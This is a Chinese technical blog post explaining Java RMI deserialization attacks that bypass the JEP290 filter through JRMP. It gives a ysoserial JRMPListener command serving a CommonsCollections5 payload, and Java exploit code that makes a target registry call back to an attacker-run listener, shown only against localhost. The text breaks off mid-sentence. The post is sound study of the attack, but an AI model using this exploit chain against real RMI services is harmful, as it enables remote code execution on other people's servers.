字数:1w5
推荐阅读时间:>2h
前言
再看下RMI反序列化攻击的总结图:
如果觉得有什么出入,喷就完事了;
同时觉得本文对你有帮助,也请留言、评论、关注、一键三连支持你喜欢的up主!你的点赞是我更新的动力!如果这期点赞超过20w,下篇文章直播开.....
咳...在上篇中已经讲述针对已知RMI接口的三种攻击方式与针对RMI层(RMI注册端、RMI服务端)/DGC层,得出了部分结论。
而在下篇中将重点讲述绕过JEP290的引入JRMP的利用方式,这就很好玩了,指出了别的老哥的错误之处,找到了别人没提及的骚姿势,复现分析了老外的绕过方式。
上下篇的小结论是沿用的,建议配合食用;文中实验代码、环境及工具均已上传github。
此外安利下ysomap,如果没有意外的话,之后会陆续把这些攻击方式都移植过去。
利用JRMP反序列化绕过JEP290
在上篇中我们所有攻击方式都给JEP290给干掉了,当然出了参数利用的方式,但是那种利用局限性太强了。来看看绕过JEP290的攻击方式。
先进行攻击演示:
- 使用github中的
ServerandRegister.java
作为受害者靶机 - 运行
java -cp F:\BanZ\java\ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections5 "calc"
作为攻击者自实现的JRMP服务端 - 运行github中的
Bypass290.java
作为攻击代码
再来讲绕过原理的前置知识:
JRMP服务端打JRMP客户端(ysoserial.exploit.JRMPListener)
这其实就是ysoserial.exploit.JRMPListener模块的攻击逻辑
其实之前标题为DGC服务端打DGC客户端,在别的文章评论区如此说的时候,被老哥指出来不对:这里的漏洞触发跟DGC没关系。
实际去仔细看了调用栈的确不经过DGC,由于自己看的时候是从
sun.rmi.transport.DGCImpl_Stub#dirty
跳转进去的所以就当成DGC层。实际上应该归为JRMP层,JRMP是DGC和RMI底层通讯层,DGC和RMI的最终调用都回到JRMP这一层来,但是这种理论归属知道个大概就好,其实我也不是很确定QAQ。
我们之前在看DGC层反序列化的时候,下的客户端断点是在sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)
,然后回退到调用栈的dirty方法中。
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
//开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
//获取连接的输入流
ObjectOutput var6 = var5.getOutputStream();
//***DGC客户端攻击DGC服务端的payload写入处***
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
//进入此处
super.ref.invoke(var5);
dirty方法中通过super.ref.invoke(var5);
进入sun.rmi.server.UnicastRef#invoke
在这里进行了
- 发送了之前处理好的序列化数据包
- 处理了服务端的报错返回。而反序列化问题正是出现在这里
sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)
public void invoke(RemoteCall call) throws Exception {
try {
//写个日志,不管
clientRefLog.log(Log.VERBOSE, "execute call");
//跟进此处
call.executeCall();
//...省略一堆报错处理
sun.rmi.transport.StreamRemoteCall#executeCall
public void executeCall() throws Exception {
byte returnType;
// read result header
DGCAckHandler ackHandler = null;
try {
//...这里发包和接受返回状态returnType和返回包数据流in
returnType = in.readByte(); //1. 反序列化一个returnType
in.readID(); // 2. 反序列化一个id for DGC acknowledgement
//具体细节比较复杂不看了
} catch (UnmarshalException e) {
//..略..
}
// 处理returnType返回状态
switch (returnType) {
//这是常量1
case TransportConstants.NormalReturn:
break;
//这是常量2
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//3. 从服务端返回数据流in中读取,并反序列化
//***漏洞触发点***
ex = in.readObject();
//省略之后代码
JRMP客户端反序列化顺序:
- 反序列化服务端给的returnType
- 反序列化服务端给的一个ID
- 反序列化服务端给的报错信息
小问题:为啥一定要利用报错信息写payload,前两个不可以么?
当然不可以,readObject才行,不懂的话..... 不懂你也看不到这里。。打扰了
此外自己在看的时候发现了一个自己模糊的问题:JAVA反序列化序列化 是队列形式的还是栈形式的?
即:out.writeObject(a);out.writeObject(a);out.readObejct()的结果是a还是b
是a,队列形式
那我们知道了JRMP客户端存在一个反序列化点,是可以被攻击,再来看看对应的服务端是在哪里插入payload的(我们已经知道了大概是一个报错信息处)
这里网上的文章大多是直接拿yso exploit的JRMPlistener攻击代码来看了,那个代码是直接重构了JRMP服务端,把报错信息改成payload的,但是都没有说原生服务端在哪里写序列化。(虽然这个问题对于实际攻击利用没有太大意义,还是来看下)
可以看到上面客户端代码对于服务端传输过来的returnType
判断为TransportConstants.ExceptionalReturn
才会进入反序列化流程。那么我们来全局搜索TransportConstants.ExceptionalReturn
就可以找到服务端在哪里写入的了。
发现服务端的代码就在同个java文件下sun.rmi.transport.StreamRemoteCall#getResultStream
:
public ObjectOutput getResultStream(boolean success) throws IOException {
if (resultStarted)
throw new StreamCorruptedException("result already in progress");
else
resultStarted = true;
DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
wr.writeByte(TransportConstants.Return);
getOutputStream(true);
//success为false,进入我们的分支
if (success)
out.writeByte(TransportConstants.NormalReturn);
else
//*******这里第一个序列化returnType*******
out.writeByte(TransportConstants.ExceptionalReturn);
//第二个序列化一个ID
out.writeID(); // write id for gcAck
return out;
}
这里反序列化了两个前置的参数,这个函数之后就是payload处的写入,全局搜索该函数的引用处(参数要false的):
前两处在sun.rmi.server.UnicastServerRef#dispatch
和sun.rmi.server.UnicastServerRef#oldDispatch
中,但代码一样,写入了报错信息:
//这里出来
ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
e = new ServerError(
"Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException(
"RemoteException occurred in server thread",
(Exception) e);
}
if (suppressStackTraces) {
clearStackTraces(e);
}
//第三处序列化:序列化写入报错信息,也就是payload插入处
out.writeObject(e);
后一处在sun.rmi.transport.Transport#serviceCall
中,清空了调用栈,然后写入了报错信息。
ObjectOutput out = call.getResultStream(false);
UnicastServerRef.clearStackTraces(e);
//第三处序列化:序列化写入报错信息,也就是payload插入处
out.writeObject(e);
call.releaseOutputStream();
那么服务端在三处地方可以写入payload去发起对于客户端的请求(其实应该还有更多地方,比如我们下断点找过来的路径就不是这三个的任何一个),找到之后我们就会发现,我们没法去利用原生的payload插入处,去插入payload。因为他们都是写入了报错信息,我们没法去控制。
那么就只有自实现拼接出一个JRMP服务端,来发送给JRMP客户端一个序列化数据,这就是YSOSERIAL-exploit-JRMPListener做的事情。
但是我们的这里的重点不是研究JRMPListener,所以不详细说明了
复现
我们可以通过github里的JRMPClient和ysoserial来复现一下JRMP服务端打客户端的过程。
起一个JRMP服务端java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "calc"
这个exploit会对任何请求回应一个响应包,其中报错信息被替换成了CC5链的Object payload。
然后客户端运行JRMPClient.java
public class JRMPClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry(1099);
registry.lookup("hello");
}
}
成功,而且非常有趣,我们测试的JDK是在JEP290(8u121)修复之后!
这说明JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制!
为什么?
因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload
那么有没有可能我们把这个可以绕过JEP290的攻击方式与几种之前被白名单拦截的攻击路径结合呢?
与RMI服务端反序列化攻击RMI注册端-Bind结合
我们的期待中的攻击流程如下(偷一张老外大佬的图):
上面一条线registry,bind(name,object)
是我们RMI服务端bind攻击RMI注册端的攻击路线,但是由于JEP290加入了反序列化过滤器,我们的诸多利用链比如CC被白名单限制失效了。具体细节如下:
数组最大长度maxarray=1000000;
调用栈最大深度maxdepth=20;
白名单要求如下:
java.lang.String;
java.lang.Number;
java.lang.reflect.Proxy;
java.rmi.Remote;
sun.rmi.server.UnicastRef;
sun.rmi.server.RMIClientSocketFactory;
sun.rmi.server.RMIServerSocketFactory;
java.rmi.activation.ActivationID;
java.rmi.server.UID
而下面两条线对应着我们刚才分析的JRMP服务端打JRMP客户端的过程:
- 要RMI注册端作为JRMP客户端去主动连接我们的JRMP服务端(白名单过滤器只对反序列化过程有效,对序列化过程无效)
- 我们恶意的JRMP服务端在原本是报错信息的位置写入利用链,序列化成数据包返回到JRMP客户端(RMI注册端)。
- 由于JRMP客户端的反序列化过程不存在JEP290的过滤器,所以我们的payload可以成功被执行,从而完成RCE。
那么显而易见这个攻击组合中唯一缺失的板块就是:让原本目标是直接命令执行的第一条bind攻击,转换目标成让RMI注册端去作为JRMP客户端向我们指定的JRMP服务端去发起请求,从而完成一整个攻击链的衔接,这需要我们去寻找一个所有对象都在白名单中的Gadget去完成这一任务。
细想这个过程,会发现这个过程跟fastjson的JNDI注入攻击模式很相似,用一个payload去诱导目标服务器发起一个外部连接,连接到我们控制的恶意服务,恶意服务再去返回payload从而在服务器上完成命令执行。
它也跟我们所说的内网渗透中的免杀平台很像,我们只需要免杀平台免杀(对应JRMP攻击链逃过JEP290),然后外部命令都在免杀平台(通过JRMP攻击链)上执行。
理顺一下我们的目标:
- 我们要找一个Gadget,它在服务端的反序列化的过程中,会对我们指定的JRMP服务器发起JRMP连接。
- 在找到这个Gadget之后,我们需要进一步将它封装进入
register.bind(String,Remote)
中。(为了满足客户端的格式需求)
那么我们先来第一步:找Gadget。
假如让我们自己真的从零开始找这个Gadget,我们应该先找出所有会向服务器发起JRMP请求的最底层方法,然后向上看何处调用了这个方法来进行一层层逆推,直到找到一个对象的反序列化入口(比如readobject)。那么再从反序列化入口反过来拎起来就是一个Gadget。
但是在看别人的Gadget的时候就从反序列化口子开始看便于理解。
UnicastRef对象
Ysoserial中的payloads-JRMPClient就是一个可以完成JRMP服务器发起JRMP连接的调用栈:
/**
* UnicastRef.newCall(RemoteObject, Operation[], int, long)(!!JRMP请求的发送处!!)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)(这里是我们上面JRMP服务端打客户端,客户端的反序列化触发处)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
------这里实际上不是一个连贯的调用栈,之后说明-----
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)(!!反序列化的入口!!)
可能有的同学对于UnicastRef.readExternal()
作为反序列化的入口有点疑惑,其实我们在 JAVA反序列化-基础 中提到过这个。反序列化的入口其实不止readobject(),还有readExternal(),只不过后者稍微少见点。
在实际触发的时候,这个触发过程其实不是我们常见的readobject进来一路向下就直接完成触发的调用栈,它其实分为两部分
- readObject():组装填入ref
- releaseInputStream():统一处理ref
看bind的反序列化过程:
try {
var9 = var2.getInputStream();//var2是我们的输入流
var7 = (String)var9.readObject();//略过
//payload在这,在readobject中递归调用属性,进入UnicastRef#readExternal
//在其中完成了ref的填装
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
//在这里处理ref的时候才真正完成了触发
var2.releaseInputStream();
}
也就是说实际上JRMP服务器发起JRMP连接的时候是在var2.releaseInputStream();
的语句中。
我们从var9.readObject();
反序列化入口开始跟一遍:
sun.rmi.server.UnicastRef#readExternal
:
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
ref = LiveRef.read(in, false);//---进入此处----
}
sun.rmi.transport.LiveRef#read
:
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
Endpoint ep;
ObjID id;
// 从输入流中读取endpoint, id和result flag
// 一个固定的格式版本判断,根据JDK版本有关
if (useNewFormat) {
ep = TCPEndpoint.read(in);
} else {
//读取
ep = TCPEndpoint.readHostPortFormat(in);
}
id = ObjID.read(in);
boolean isResultStream = in.readBoolean();
//恢复一个LiveRef对象(可以理解为一个连接对象)
//此处可以由我们的序列化对象进行指定。
LiveRef ref = new LiveRef(id, ep, false);
//判断输入流in是不是已经是一个对象流了,这里都会为true
if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// 保存ref以在所有参数/返回都被解析后再发送"dirty"调用。
stream.saveRef(ref);
if (isResultStream) {
stream.setAckNeeded();
}
} else {
//-----这里会产生一个误区,实际上我们进入的不是这个registerRefs----
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}
return ref;
}
我们会进入stream.saveRef(ref);
中,将ref填入流中的incomingRefTable
字段,再之后统一解析。
然后readobject就执行完了,进入第二步 releaseInputStream 触发
sun.rmi.transport.StreamRemoteCall#releaseInputStream
:
public void releaseInputStream() throws IOException {
try {
if (this.in != null) {
//...省略
//进入此处,统一处理去DGC注册之前readobject解析出来的ref
this.in.registerRefs();
this.in.done(this.conn);
}
this.conn.releaseInputStream();
} finally {
this.in = null;
}
}
sun.rmi.transport.ConnectionInputStream#registerRefs
:从之前readobject语句解析出来的incomingRefTable
中读取ref。
void registerRefs() throws IOException {
if (!this.incomingRefTable.isEmpty()) {
//遍历incomingRefTable
Iterator var1 = this.incomingRefTable.entrySet().iterator();
while(var1.hasNext()) {
Entry var2 = (Entry)var1.next();
//开始一个个去DGC注册
DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
}
}
}
然后就回到了yso里面的调用栈的下半部分:sun.rmi.transport.DGCClient#registerRefs
:
static void registerRefs(Endpoint ep, List<LiveRef> refs) {
EndpointEntry epEntry;
do {
//从给定的ep中查找引用对象入口
//这里就是我们调用栈下面一直跑的部分。
epEntry = EndpointEntry.lookup(ep);
//去该入口注册引用对象,如果不成功循环注册,直到成功。
} while (!epEntry.registerRefs(refs));//----进入此处---
}
sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
:
public boolean registerRefs(List<LiveRef> refs) {
assert !Thread.holdsLock(this);
Set<RefEntry> refsToDirty = null; // entries for refs needing dirty
long sequenceNum; // sequence number for dirty call
//阻塞执行,去遍历查询LiveRef实例
synchronized (this) {
//省略此处代码,就是做遍历查询的事情
}
//为所有结果参与DGC垃圾回收机制注册
//------进入此处------
makeDirtyCall(refsToDirty, sequenceNum);
return true;
}
sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall
:(这里会发出DGC客户端的dirty请求)
private void makeDirtyCall(Set<RefEntry> refEntries, long sequenceNum) {
assert !Thread.holdsLock(this);
//根据refEntries得到注册用的ids
ObjID[] ids;
if (refEntries != null) {
ids = createObjIDArray(refEntries);
} else {
ids = emptyObjIDArray;
}
long startTime = System.currentTimeMillis();
try {
//进入此处,进行dirty请求
Lease lease =
dgc.dirty(ids, sequenceNum, new Lease(vmid, leaseValue));
由于这里是一个接口,静态分析的话,我们需要使用ctrl+alt+B,进入sun.rmi.transport.DGCImpl_Stub#dirty
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
//JRMP服务端打JRMP客户端的反序列化触发点在这里面
super.ref.invoke(var5);
这里就很熟悉了,JRMP服务端打JRMP客户端,JRMP客户端的漏洞触发点就在这。
那么也就是说UnicastRef对象的readExternal方法作为反序列化入口的话,我们可以通过控制序列化的内容使服务器向我们指定的服务器发起JRMP连接(通过DGC层的dirty方法发起),再通过之前讲到的JRMP客户端报错信息反序列化点完成RCE。
我们把之前的攻击过程调试一下看下,同样在CC链的最后命令执行处下断点:
调用栈,应该是由于服务端线程处理的特性(?)发生了变化,但是最后核心部分是没问题的。(UnicastRef的readExternal处作为入口下断点也是可以看到的,但是之后会跑偏,最后再到这部分)
本地实验发现一个有趣的地方,这里会不断循环,一直请求我们恶意JRMP-Listener,从而不断完成远程代码执行的情况。原因应该是因为分析代码的时候的while循环导致的(这就是我们反序列化触发栈发生变动的原因。),非常有趣,仿佛一个天然发心跳包的木马一样。
知道服务端反序列化处的触发流程之后,我们来看payload的构造。
一个基础的可以指定连接目标的UnicastRef对象:
//让受害者主动去连接的攻击者的JRMPlister的host和port
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
如果这个对象在目标服务器反序列化成功了,就可以顺着之前分析的反序列化过程向外发起连接。但是如何让这个对象反序列化呢?还需要进一步的封装。
与bind操作进行拼接
我们的目标是:将UnicastRef对象封装进入register.bind(String,Remote)
的Remote参数中,从而在反序列化Remote参数的时候因为反序列化的递归的特性,进行UnicastRef对象的反序列化。那又回归到了前面讨论过的问题,如何将UnicastRef对象封装成Remote类型:
压根不封装,跟Barmie工具一样自实现通讯协议,直接发送UnicastRef(因为其实只有客户端上层函数需要remote类型的输入,服务端并没有要求是remote类型,都会反序列化)
跟RMIRegisterExploit一样,使用动态代理来实现封装
回一下动态代理封装的原理:将我们的payload放在拦截器的类参数中,然后封装拦截器成Remote类型,反序列化的时候就会反序列化拦截器里面的payload的参数,从而形成反序列化。
但是跟之前不同的是:没有白名单的时候我们可以用到AnnotationInvocationHandler装载UnicastRef对象,再把它动态代理变成Remote对象。
但是在JEP290之后有了白名单限制,AnnotationInvocationHandler对象被禁了。
我们需要用到
找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进
register.bind(String,Remote)
中就可以了。
1.绕过客户端-自实现协议
第一类实现bind底层协议,太过底层,感觉可以根据Barmie改,但是有点磕不动,放放。
但是在最后我们还是以两种方式自实现了lookup的协议。
2.动态代理-自定义
代码参考github-Bypass290_proxy.java
我们自定义一个PocHandler拦截器:
public static class PocHandler implements InvocationHandler, Serializable {
private RemoteRef ref;//来放我们的UnicastRef对象
protected PocHandler(RemoteRef newref) {//构造方法,来引入UnicastRef
ref = newref;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return this.ref //只是为了满足拦截类的格式,随便写
}
}
把生成UnicastRef放入PocHandler拦截器,然后转变为Remote类型。
public static void main(String[] args) throws Exception{
String jrmpListenerHost = "127.0.0.1";
int jrmpListenerPort = 1199;
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
registry.bind("2333", remote);
}
老样子JRMP-listener一开,然后打ServerAndRegister
完美,没问题
同时这里存在一个非常神奇的问题,本以为客户端自定义一个PocHandler拦截器,rmi服务端是不会有这个拦截器的,所以在反序列化的时候会因为没有类而报错。但是实际上远程利用是可以成功的。
从报错中我们也可以看到,服务端确实找不到这个类,但是会触发代码执行,之前bind绑定也说过这个问题,推测由于先反序列化类中的变量,然后恢复成类导致的。
2.动态代理-RemoteObjectInvocationHandler(Ysoserial-Payload-JRMPClient)
这其实就是Ysoserial-Payload-JRMPClient模块生成的payload的实现逻辑
假如不自定义一个拦截器,去jdk环境中寻找也是可以找到的——RemoteObjectInvocationHandler
- 它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
- 同时是一个 拦截器。(这表示我们可以通过动态代理把他改成任意的接口)
public class RemoteObjectInvocationHandler
extends RemoteObject
implements InvocationHandler //表示是一个拦截器
{
//构造函数,传入一个RemoteRef接口类型的变量
public RemoteObjectInvocationHandler(RemoteRef ref) {
super(ref);
if (ref == null) {
throw new NullPointerException();
}
}
//而UnicastRef类型实现RemoteRef接口,即可以传入
//public class UnicastRef implements RemoteRef {
super(ref);
:
public abstract class RemoteObject implements Remote, java.io.Serializable {
/** The object's remote reference. */
transient protected RemoteRef ref;
//super(ref)的内容,可以成功塞入变量中
protected RemoteObject(RemoteRef newref) {
ref = newref;
}
然而这里会有一个神奇的问题,我们知道transient
修饰的变量在正常的序列化过程中是不会被序列化的(会为空)。那我们特制的ref不就因为无论怎么样都不序列化了?
但理论的确如此,但实际不是的,因为我们还知道如果这个类对于writeobject、readobject进行了重写,就会进入这个方法进行特殊的逻辑执行。
java.rmi.server.RemoteObject#writeObject
private void writeObject(java.io.ObjectOutputStream out)
throws java.io.IOException, java.lang.ClassNotFoundException
{
if (ref == null) {
throw new java.rmi.MarshalException("Invalid remote object");
} else {
String refClassName = ref.getRefClass(out);
if (refClassName == null || refClassName.length() == 0) {
//不会进入的地方....
} else {
/*
* Built-in reference class specified, so delegate
* to reference to write out its external form.
*/
//我们的序列化操作会进入到这里对于ref进行序列化
out.writeUTF(refClassName);
ref.writeExternal(out);
//在这里通过writeExternal来写入了ref
//(transient类型的变量可以通过writeExternal来写入序列化)
}
}
}
在Remoteobject的writeobject方法中可以完成对于同时,我们也可以通过把序列化结果写入文件看序列化结果来证明ref的序列化不会受到影响。
那么在确定RemoteObjectInvocationHandler可以填入一个UnicastRef对象并且不影响序列化之后。接下来就是利用动态代理进行类型转变
public class Bypass290 {
//省略generateUnicastRef方法
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "127.0.0.1";//本地测试
int jrmpListenerPort = 1199;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
//所以接下来bind可以填入proxy
Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
new Class[]{Registry.class}, obj);
//触发漏洞
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
registry.bind("hello", proxy);//填入payload
}
}
3.找一个带UnicastRef类型参数的实现Remote接口的类
那么第三种情况,直接不用动态代理构造去弄成Remote接口,直接找一个实现Remote接口的类。
- 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
- 这个类要是Remote接口的
RemoteObjectInvocationHandler
其实RemoteObjectInvocationHandler本身就是一个实现了Remote接口的类。
//RemoteObjectInvocationHandler定义,继承自RemoteObject
public class RemoteObjectInvocationHandler
extends RemoteObject
implements InvocationHandler
//RemoteObject定义,实现了Remote接口
public abstract class RemoteObject implements Remote, java.io.Serializable {
所以上面ysoserial-payload-JRMPClient中利用动态代理修改RemoteObjectInvocationHandler接口是多余的。
直接注释了动态代理操作也可以打。
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "127.0.0.1";//本地测试
int jrmpListenerPort = 1199;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
//所以接下来bind可以填入proxy 注释
// Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
// new Class[]{Registry.class}, obj);
//触发漏洞
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
// registry.bind("hello", proxy);//填入payload
registry.bind("hello", obj);//填入payload
}
可以发现我们的RemoteObjectInvocationHandler继承自RemoteObject。
- 而UnicastRef对象是在RemoteObject类中赋值的
- RemoteObject类又是一个Remote接口
那么理论上来说所有RemoteObject的子类都是可以的,我们可以通过ctrl+alt+B来查看子类。
我们选取RMIConnectionImpl_Stub和UnicastRemoteObject来举例说明
RMIConnectionImpl_Stub
RMIConnectionImpl_Stub是可以利用的。
是Remote接口:
//RMIConnectionImpl_Stub类定义,继承自RemoteStub类
public final class RMIConnectionImpl_Stub
extends java.rmi.server.RemoteStub
implements javax.management.remote.rmi.RMIConnection{
//java.rmi.server.RemoteStub 定义,继承自RemoteObject类
abstract public class RemoteStub extends RemoteObject {
//RemoteObject定义,实现Remote接口
public abstract class RemoteObject implements Remote, java.io.Serializable {
利用构造方法可以容纳一个UnicastRef对象:
//javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法
public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) {
super(ref);
}
//java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法
protected RemoteStub(RemoteRef ref) {
super(ref);
}
//java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法
protected RemoteObject(RemoteRef newref) {
ref = newref;
}
攻击代码就很简单,跟RemoteObjectInvocationHandler完全一致改个参数就完事了,放个图表示可以:
详细代码参考github Bypass290.java
UnicastRemoteObject
UnicastRemoteObject实际上满足我们说的所有条件,但是是不可以利用的。
它的确是Remote接口:
//java.rmi.server.UnicastRemoteObject定义
public class UnicastRemoteObject extends RemoteServer {
//java.rmi.server.RemoteServer定义
public abstract class RemoteServer extends RemoteObject//这个就是了 不赘述
{
同样由于继承自RemoteObject,所以同样有一个RemoteObject类中的ref参数,但是在UnicastRemoteObject类中,没有使用到。
我们实际上也是可以操控这个变量的,之前是通过构造函数直接赋值,现在可以通过反射机制来赋值,实现如下:
//3.UnicastRemoteObject
//3.1.获取到UnicastRemoteObject的实例
Class clazz = Class.forName("java.rmi.server.UnicastRemoteObject");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
UnicastRemoteObject UnicastRemoteObject_obj =(UnicastRemoteObject)m.newInstance();
//3.2.修改实例的ref参数(使用yso中的模块)
Reflections.setFieldValue(UnicastRemoteObject_obj,"ref",ref);
可以对比下三个对象的内容,都包含了我们修改的ref对象,没问题。
但是在实际利用的时候,使用UnicastRemoteObject是不可以的!一开始我也非常的疑惑:这不科学!,但是代码是死肥宅最忠实的伙伴,它是不会骗人的。
bsmali4师傅的一次攻击内网RMI服务的深思这篇文章中发现了这个问题,但是他的结论是由于ref是一个transient类型的变量,不会反序列化。
但实际上可以攻击的RMIConnectionImpl_Stub类也是使用transient类型的ref。所以这个结论是错误的
其实关键点在于:
- 我们默认理解为序列化过程是对于我们的恶意object进行writeobject,
RMIConnectionImpl_Stub.writeobject()
、UnicastRemoteObject.writeobject()
那么当然是序列化的。(实际上也可以,在github的Bypass290代码中尝试序列化写入了文件中进行查看,结果也是把正确的ref值写入了,就不贴图了) - 但是实际上客户端序列化的过程为:ObjectOutput.writeobject(我们的恶意object)
那么实际上这边的序列化逻辑与我们想象的有点出入,他会去替换掉我们辛辛苦苦生成的object。这是导致同是继承RemoteObject有的行,有的不行的关键。
我们在java.io.ObjectOutputStream#writeObject0
打入断点,使用UnicastRemoteObject对象来攻击,细看:
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
boolean oldMode = bout.setBlockDataMode(false);
depth++;
try {
//一大堆类型检查,都不会通过
// 想要去检查替换我们的object
Object orig = obj;
Class<?> cl = obj.getClass();
ObjectStreamClass desc;
for (;;) {
//查找相关内容
}
if (enableReplace) {//都是true
//!!!!!!!!!!!此处替换了我们的对象!!!!!!!!!!
Object rep = replaceObject(obj);
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep;
}
//一些替换后的处理,不太重要
// 通过类进行分配序列化过程
if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
//进入此处再开始正常的序列化
writeOrdinaryObject(obj, desc, unshared);
//...省略...
}
UnicastRemoteObject在此处的情况,发生了变化:
RMIConnectionImpl_Stub在此处的情况,没有发生变化:
replaceobject替换的方法具体在sun.rmi.server.MarshalOutputStream#replaceObject
中
//var1就是我们想要序列化的类
protected final Object replaceObject(Object var1) throws IOException {
//这个类要是Remote接口的,并且不是RemoteStub接口的,为true
if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
//这里会去获取到新的对象来替换
//UnicastRemoteObject走的就是这条路
Target var2 = ObjectTable.getTarget((Remote)var1);
if (var2 != null) {
return var2.getStub();
}
}
//RMIConnectionImpl_Stub走的就是这条路
return var1;
}
那么就很明显了,之前我们觉得只要是remote接口就行了,这个定义有问题,实际上要满足以下两个条件的类我们才能用:
- 是Remote接口
- 并且是RemoteStub接口
这里的逻辑关系需要倒一下,是Remote 又不是RemoteStub是不行的,又要是Remote的
那么我们就找到了为啥RMIConnectionImple_Stub可以,但是UnicastRemoteObject不行的原因。
找Remote的继承类就可以轻而易举找到跟RMIConnectionImple_Stub类似的其他类。
这些理论都是可以的,就不一一实验了。
新的小问题-RemoteObjectInvocationHandler为啥又可以了
但是我们又会发现一开始就成功的RemoteObjectInvocationHandler并不满足我们的出来的规定,它是Remote接口但是不是RemoteStub接口呀。
继续调试
发现虽然它不满足条件进入了if,但是获取到的替换类var2为空,又返回原本的值了。
至于为什么会获取到的结果var2为空,是因为在getTarget中会去内部查询,因为InvocationHandler的特性所以类型转化不到原始类所以为空(胡说八道中,反正跟InvocationHandler脱不了干系)
至此我们就完全搞清楚了找一个带UnicastRef类型参数的实现Remote接口的类的时候需要:
- 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
- 这个类要是Remote接口的并且是RemoteStub接口
- 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以,比如RemoteInvocationHandler
绕过序列化过程中的替换使所有类均可用于攻击
从国外老哥的文章中得到的思路。
在分析中我们发现ObjectOutputStream对象流中的enableReplace全局变量决定了我们的对象是否会被替换:
public class ObjectOutputStream
extends OutputStream implements ObjectOutput, ObjectStreamConstants
{
/** if true, invoke replaceObject() */
